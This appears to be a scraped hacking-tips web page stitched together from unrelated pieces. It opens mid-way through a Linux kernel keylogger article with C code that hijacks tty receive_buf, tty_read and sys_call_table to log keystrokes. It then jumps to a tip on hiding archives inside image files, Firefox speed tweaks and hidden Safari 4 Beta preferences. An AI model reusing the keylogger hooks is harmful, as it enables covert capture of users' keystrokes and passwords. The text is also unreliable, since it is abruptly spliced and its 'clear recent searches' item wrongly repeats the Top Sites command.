ability to log keystrokes under X and the console, no matter if a tty is
invoked or not. And you will know exactly what key is pressed on the
keyboard (including special keys such as Control, Alt, Shift, Print Screen,
...). But this method is platform dependent and won't be portable among
platforms. This method also can't log keystroke of remote sessions and is
quite complex for building an advance logger.


------[ 3.2.2 - put_queue

This function is called by handle_scancode() function to put characters
into tty_queue.

# /usr/src/linux/drives/char/keyboard.c
void put_queue(int ch);
To intercept this function, we can use the above technique as in section
(3.2.1).


------[ 3.2.3 - receive_buf

receive_buf() function is called by the low-level tty driver to send
characters received by the hardware to the line discipline for processing.

# /usr/src/linux/drivers/char/n_tty.c */
static void n_tty_receive_buf(struct tty_struct *tty, const
unsigned char *cp, char *fp, int count)

cp is a pointer to the buffer of input character received by the device.
fp is a pointer to a pointer of flag bytes which indicate whether a
character was received with a parity error, etc.

Lets take a deeper look into tty structures

# /usr/include/linux/tty.h
struct tty_struct {
int magic;
struct tty_driver driver;
struct tty_ldisc ldisc;
struct termios *termios, *termios_locked;
...
}

# /usr/include/linux/tty_ldisc.h
struct tty_ldisc {
int magic;
char *name;
...
void (*receive_buf)(struct tty_struct *,
const unsigned char *cp, char *fp, int count);
int (*receive_room)(struct tty_struct *);
void (*write_wakeup)(struct tty_struct *);
};

To intercept this function, we can save the original tty receive_buf()
function then set ldisc.receive_buf to our own new_receive_buf() function
in order to logging user inputs.

Ex: to log inputs on the tty0

int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);
struct tty_struct *tty = file->private_data;
old_receive_buf = tty->ldisc.receive_buf;
tty->ldisc.receive_buf = new_receive_buf;

void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
char *fp, int count)
{
logging(tty, cp, count); //log inputs

/* call the original receive_buf */
(*old_receive_buf)(tty, cp, fp, count);
}


------[ 3.2.4 - tty_read

This function is called when a process wants to read input characters
from a tty via sys_read() function.

# /usr/src/linux/drives/char/tty_io.c
static ssize_t tty_read(struct file * file, char * buf, size_t count,
loff_t *ppos)

static struct file_operations tty_fops = {
llseek: tty_lseek,
read: tty_read,
write: tty_write,
poll: tty_poll,
ioctl: tty_ioctl,
open: tty_open,
release: tty_release,
fasync: tty_fasync,
};

To log inputs on the tty0:

int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);
old_tty_read = file->f_op->read;
file->f_op->read = new_tty_read;


------[ 3.2.5 - sys_read/sys_write

We will intercept sys_read/sys_write system calls to redirect it to our
own code which logs the content of the read/write calls. This method was
presented by halflife in Phrack 50 (see [4]). I highly recommend reading
that paper and a great article written by pragmatic called "Complete Linux
Loadable Kernel Modules" (see [2]).

The code to intercept sys_read/sys_write will be something like this:

extern void *sys_call_table[];
original_sys_read = sys_call_table[__NR_read];
sys_call_table[__NR_read] = new_sys_read;


--[ 4 - vlogger

This part will introduce my kernel keylogger which is used method
described in section 3.2.3 to acquire more abilities than common keyloggers
used sys_read/sys_write systemcall replacement approach. I have tested the
code with the following versions of linux kernel: 2.4.5, 2.4.7, 2.4.17 and
2.4.18.

How to Hide a RAR File in JPG File !

First you need to have a rar file and a jpg image to hide the rar
Say the jpg is “image.jpg” and the rar is “file.rar”

Go to Windows command prompt (Start>Run>type cmd and press enter)

Now type this command:
copy /b image.jpg + file.rar newfile.jpg

switch “/b” indicates the copy function is binary
“newfile.jpg” is the resulting image with the rar file embedded (you can use a name of your choice)

That’s all

When you click on newfile.jpg the image will be displayed. Now it you change the jpg extension to rar (ie: newfile.rar) and open it with WinRAR the contents of the embedded rar file will be displayed.

The jpg can be replaced with a bmp,png,gif or swf file. The rar archive can be replaced with zip,tar.gz/bz2 or 7z archive. Actually in theory you can use any image format and any archive.

Here are some sample commands:
copy /b image.bmp + file.zip newfile.jpg
copy /b image.gif + file.7z newfile.jpg
copy /b image.png + file.tar.gz newfile.jpg
copy /b image.swf + file.rar newfile.jpg

Speeding Up Mozilla Firefox

We are getting here to the hidden configuration settings to set the firefox to request more data that it usually does!

* Type "about:config" into the Address Bar and hit ENTER.

* Scroll down and look for the following entries:
1) network.http.pipelining.
2) network.http.proxy.pipelining.
3) network.http.pipelining.maxrequests.

* Normally, the browser will make one request to a web page at a time, when you enable pipelining it will make several at once, which really speeds up page loading.

* Alter the entries as follows:
1) Set "network.http.pipelining" to "true"
2) Set "network.http.proxy.pipelining" to "true"
3) Set "network.http.pipelining.maxrequests" to some number like 30. This means it will make 30 requests at once.

* Lastly, right-click anywhere and select "New"--> "Integer".

* Name it "nglayout.initialpaint.delay" and set its value to "0". This value is the amount of time the browser waits before it acts on information it receives.

Please do all this very carefully!
WRITTEN BY GodFather Blu3StR3aK

Hacking Safari 4 Beta: Top 10 Hidden Tricks !

Chicago (IL) - Safari 4 Beta, which Apple unleashed into the wild yesterday, brings
several new features that are not everyone's cup of tea. Some would like to turn
off the flashy features because they eat up a lot of CPU time
on an average system. Others are simply annoyed by the eye-candy and
want it gone so they can "just browse". Unfortunately, Safari doesn't let you turn new features
on and off through easy-to-use dialogs. However, with a little hackery you can change
hidden preference settings to selectively turn on or off many new features, as well as control how those new features work.

If Safari 4 Beta is any indication of the final product, then we're in for lots of new features
and visual treats rarely seen in a web browser. Safari 4 Beta brings the arrival of Cover Flow mode, which is used for visual flipping through bookmarks and history. In addition, it has a similar visual Top Sites feature which presents up to 24 thumbnails
of sites regularly visited in a stunning 3D wall. But, what if you don't want those CPU- and bandwidth-hogging features? Of course, expecting Apple to provide Safari users
with a way to selectively turn the new features on and off to their
liking is a waste of time. Other browsers also lack such controls as
their respective vendors want you to use the new features, not switch
them off.
However, that doesn't mean there isn't a backdoor to access
preference settings usually hidden from us mere mortals, but one actively used
by programmers during the development phase. In the case of Safari 4 Beta,
we have compiled a list of top ten hacks that allow you to turn off
Cover Flow and Top Sites, two key graphically-intensive new features
that require lots of CPU time. In addition, you will learn how to tweak
the behavior of the address and search fields by turning on/off Google
suggestions, preventing recent searches from auto-populating the list,
and so on...

KILL THE COVER FLOW
Cover Flow technology first appeared in iTunes but was quickly deployed in OS X Leopard's Finder, iPods and iPhones. It also arrives now in Safari 4 Beta where it is used to visually flip through a list of bookmarks and history items. It sure looks nice, but some users out there hate its guts. Fortunately, there is a hack to kill Cover Flow entirely in Safari.
Windows and OS X
These hacks work on both the Windows and OS X versions of the browser, and
are invoked in a similar manner -- although the details differ slightly due to
differences between the two operating systems. This article covers both
platforms and provides detailed information for both OS X and Windows
would-be Safari hackers. To change Safari's hidden settings we are
tampering with the com.apple.Safari.plits file, an XML-formatted file
that stores Safari's preference settings. By adding several lines of
new preference values that aren't normally there (but are recognized by
Safari), we can change some settings that aren't normally found in the
Safari preferences dialog.
Changing the com.apple.Safari.plits file won't damage your Safari
installation in any way because Safari will re-create it if it's
missing. Before changing anything, backup the file so you can revert
to your original settings if something goes wrong. As a rule of thumb,
exit Safari when tampering with the preferences file, and then re-launch
it to see how it affects the browser's appearance after editing.
Readers who know their way
around their operating system and have the knowledge of its inner
working can immediately jump to the Top 10 hidden Safari preferences
section. Others are advised to read a little bit of theory that
follows. Happy hacking! Oh, one more thing. If you find a new hack,
make sure you share it with us in the comments section.
TOP SITES A RESOURCE HOG? KILL IT...
Top Sites, another eye-candy feature of Safari 4 Beta, puts high-quality thumbnails of your most visited sites on a 3D wall. However, calculating thumbnails and rendering the wall can eat up 70 percent or more of CPU time on a 2.0 GHz Intel Core 2 Duo-powered Mac and Windows systems. If you're not willing to pay the cost, kill Top Sites entirely.

Read on the next page: Where to find Safari's preference file, How it is formatted and How to edit it...


How to locate the Safari preferences file
OS X
~/Library/Preferences/com.apple.Safari.plist
on your boot drive.
Windows XPC:\Documents and Settings\ACCOUNT\Application Data\Apple Computer\Preferences\
Windows Vista and Windows 7 BetaC:\Users\ACCOUNT\AppData\Roaming\Apple Computer\Preferences\
NOTE: Windows users first need to check the Show hidden files, folders and drives option found in the View tab of Folder Options (Windows Explorer's View menu) to be able to navigate the given path. The ACCOUNT part of the path refers to your Windows user account. If
you don't know what it is, find it out in the User Accounts
applet of the Control Panel.


Safari preferences file format
This file keeps your regular Safari preferences, but you can add secret
items that are nowhere to be found in the browser's Preferences
section through default installation. Each hidden preference item needs to be added manually to the
com.apple.Safari.plist file right after the <dict> line. Each
hidden preference item is defined in a form of <key>TITLE</key>,
where TITLE is replaced with a specific preference item name. For
example, the hidden preference setting defining if Safari's tab bar is
kept on the window's title bar is named DebugSafari4TabBarIsOnTop. As such, it is defined in the com.apple.Safari.plist file by adding the <key>DebugSafari4TabBarIsOnTop</key> line right after the <dict> statement.
The value of the item is defined in the line immediately following the definition
statement (which ended with the </key> tag). Values for hidden preference
items in this article are all boolean, meaning they can be either TRUE or
FALSE, defined by the <true/> or <false/> line following right after preference item definition in the com.apple.Safari.plist file. The />
part with which the value ends marks end of value statement for this
particular item so that next line is interpreted as another preference
value definition.
While it all sounds complicated, it comes down to
adding the following two lines in the com.apple.Safari.plist file in
order to make the tabs bar appear in a regular position, rather than on
window's top:
<key>DebugSafari4TabBarIsOnTop</key><false/>
If you wanted it to be on top:

<key>DebugSafari4TabBarIsOnTop</key><true/>

PROPERTY LIST EDITOR FOR WINDOWS
Here's how a XML-formatted preferences file for Safari looks like when viewed in a free PC utility called plist Editor for Windows. Each <key> and <value> pair defines a certain preference setting in Safari. The whole wisdom comes down to adding preference items that aren't normally there but are recognized by the browser.
Editing the Safari preferences file
Windows
Unlike OS X users which can resort to Terminal commands to update the
content of the com.apple.Safari.plist file, Windows users need to type
in required lines directly into it using one of several so-called
property list editor utilities. We recommend a nifty plist Editor for Windows
that will get the job done and comes free of charge. Simply open the
com.apple.Safari.plist file using the plist Editor tool to add and
change hidden preference items as described in the previous section.
If a preference item is already defined in the file, simply change its value to either true or false.
In most cases a preference item won't be defined in the file, meaning
you will have to type in both its definition and value. To revert
preference item to the default value, simply remove both its definition
and value from the file.
OS X
Users running Safari in OS X are in for a treat because they are not
require to edit the com.apple.Safari.plist file directly. Instead, you
change preference setting with commands invoked in Terminal. For
instance, to move the tabs bar to its regular position, you simply type
the following command in Terminal (NOTE: The text here should be input on one line, it is divided into two lines for display purposes only):
defaults write com.apple.Safari
DebugSafari4TabBarIsOnTop -bool NO
Consequently,
to move the tabs bar back to window's top, you need to change the value
from NO to YES by typing the following command in Terminal.
defaults write com.apple.Safari
DebugSafari4TabBarIsOnTop -bool YES

If
you want to set a preference setting to its default value, simply run
the defaults command with the delete flag for a wanted preference item.
In case of above mentioned tabs bar placement, you would type the
following command in Terminal:
defaults delete com.apple.SafariDebugSafari4TabBarIsOnTop

Note: The defaults command doesn't require you to include the -bool NO part.

Read on the next page: Top 10 hidden Safari preferences

(NOTE: The text below should all be input on one line, it is divided into two lines for display purposes only)

1. TABS IN PLACE - Moves the tabs bar from top of the window to its regular position.
OS X

Write the following in Terminal:
defaults write com.apple.Safari DebugSafari4TabBarIsOnTop -bool NO
WindowsChange the value of the DebugSafari4TabBarIsOnTop item in the com.apple.Safari.plist file to false. If this item is missing, add the following right after the <dict> line:
<key>DebugSafari4TabBarIsOnTop</key><false/>

2. BLUE LOADING BAR (OS X ONLY) - Restores the blue loading bar behind the URL in the address field. This trick works only in OS X Safari version.OS XWrite the following in Terminal:
defaults write com.apple.Safari
DebugSafari4IncludeToolbarRedesign -bool NO

Windows:
Change the value of the DebugSafari4IncludeToolbarRedesign item in the com.apple.Safari.plist file to false. If this item is missing, add the following right after the <dict> line:
<key>DebugSafari4IncludeToolbarRedesign</key><false/>

3. SPINNER IN TAB - Moves a page loading spinner indicator from the
address field to a tab. This is useful for quickly glancing if a page has loaded
when you have multiple tabs opened.

OS X
Write the following in Terminal:
defaults write com.apple.Safari
DebugSafari4LoadProgressStyle -bool NO
Windows:
Change the value of the DebugSafari4LoadProgressStyle item in the com.apple.Safari.plist file to false. If this item is missing, add the following right after the <dict> line:
<key>DebugSafari4LoadProgressStyle</key>
<false/>

4. OLD-SCHOOL URL AUTOCOMPLETE - Reverts to the original design of the URL autocompletion menu.
OS XWrite the following in Terminal:
defaults write com.apple.Safari
DebugSafari4IncludeFancyURLCompletionList -bool NO
Windows:
Change the value of the DebugSafari4IncludeFancyURLCompletionList item in the com.apple.Safari.plist file to false. If this item is missing, add the following right after the <dict> line:
<key>DebugSafari4IncludeFancyURLCompletionList</key><false/>

5. KILL GOOGLE SUGGEST - Turns off Google Suggest search suggestions for queries typed in the search field.
OS XWrite the following in Terminal:
defaults write com.apple.Safari
DebugSafari4IncludeGoogleSuggest -bool NO
Windows:
Change the value of the DebugSafari4IncludeGoogleSuggest item in the com.apple.Safari.plist file to false. If this item is missing, add the following right after the <dict> line:
<key>DebugSafari4IncludeGoogleSuggest</key><false/>
TURN OFF GOOGLE'S SEARCH SUGGESTIONS
When you start typing into Safari's search field, it will display a list of the matches from your bookmarks and history and suggestions obtained online from the Google Suggest service. If you want, you can turn Google suggestions from appearing in this list.
6. KILL COVER FLOW IN BOOKMARKS - Removes the Cover Flow feature from the Bookmarks view entirely.
OS X
Write the following in Terminal:
defaults write com.apple.Safari
DebugSafari4IncludeFlowViewInBookmarksView -bool NO
Windows:
Change the value of the DebugSafari4IncludeFlowViewInBookmarksView item in the com.apple.Safari.plist file to false. If this item is missing, add the following right after the <dict> line:

<key>DebugSafari4IncludeFlowViewIn- BookmarksView</key><false/>

7. KILL TOP SITES - Removes the Top Sites feature from the browser entirely. Disabling it also removes Top Sites choice  from the drop-down list in the General section of Safari
preferences that enables you to choose what should open when you create
a new tab ("New tabs open with..." option).

OS X
Write the following in Terminal:
defaults write com.apple.Safari
DebugSafari4IncludeTopSites -bool NO
Windows:
Change the value of the DebugSafari4IncludeTopSites item in the com.apple.Safari.plist file to false. If this item is missing, add the following right after the <dict> line:
<key>DebugSafari4IncludeTopSites</key><false/>

8. NO PAGE DIMMING - Removes dimming effect when you click on a page in the Top
Sites section. When clicked, a page thumbnail zooms into place and
normally remains dimmed until Safari refreshes page content. This hack
simply removes page dimming.

OS X
Write the following in Terminal:
defaults write com.apple.Safari
DebugSafari4TopSitesZoomToPageAnimation- DimsSnapshot -bool NO
Windows:
Change the value of the DebugSafari4TopSitesZoomToPageAnimationDimsSnapshot item in the com.apple.Safari.plist file to false. If this item is missing, add the following right after the <dict> line:
<key>DebugSafari4TopSitesZoomToPageAnimation- DimsSnapshot</key><false/>
(hyphen in the <key>-string denotes continuation, remove and input on a single line)

9. CLEAR RECENT SEARCHES - Starts anew a list of recent searches that appear when you
start typing into Safari's search field. Keep in mind that this hack
simply clears a list while searches still remain locally stored on your
computer and can be accessed in your browsing history. All searches
that you do from this point on will re-create Safari's list and will
consequentially appear in the Recent Searches section of the search
field.

OS X

Write the following in Terminal:
defaults write com.apple.Safari
DebugSafari4IncludeTopSites -bool NO
Windows:
Change the value of the DebugSafari4IncludeTopSites item in the com.apple.Safari.plist file to false. If this item is missing, add the following right after the <dict> line:
<key>DebugSafari4IncludeTopSites</key><false/>
 
10. DISPLAY PAGES FASTER - A preset time delay prevents Safari's
WebKit engine from immediately throwing a page on screen in order to give some time for scripts, images and page code to arrive over the network
and catch up with the rendering engine. You can reduce this treshold to
slightly improve page display, which helps the perception of page
loading times.

OS X

Write the following in Terminal:
defaults write com.apple.Safari
WebKitInitialTimedLayoutDelay -real 0.25
Windows:
Use the plist Editor to add the following two lines to the Defaults.plist file found in C:\Program Files\Safari\Safari.resources folder:

<key>WebKitInitialTimedLayoutDelay</key><real>0.25</real>
CLEAR RECENT SEARCHES
While you can always
delete past searches from the browsing history saved locally on your
computer, this hack allows you to clear recent search entries that
automatically populate the search field when you start typing, while
keeping corresponding search items in you browsing history intact.
 
 
 
HELP US EXPAND THE LIST: If you stumble upon cool trick or hack that can alter how Safari works outside the built-in preference settings, don't forget to share it with the rest of us in the comments section. If it's cool enough, we'll put it here and credit you!
 

Related Posts Plugin for WordPress, Blogger...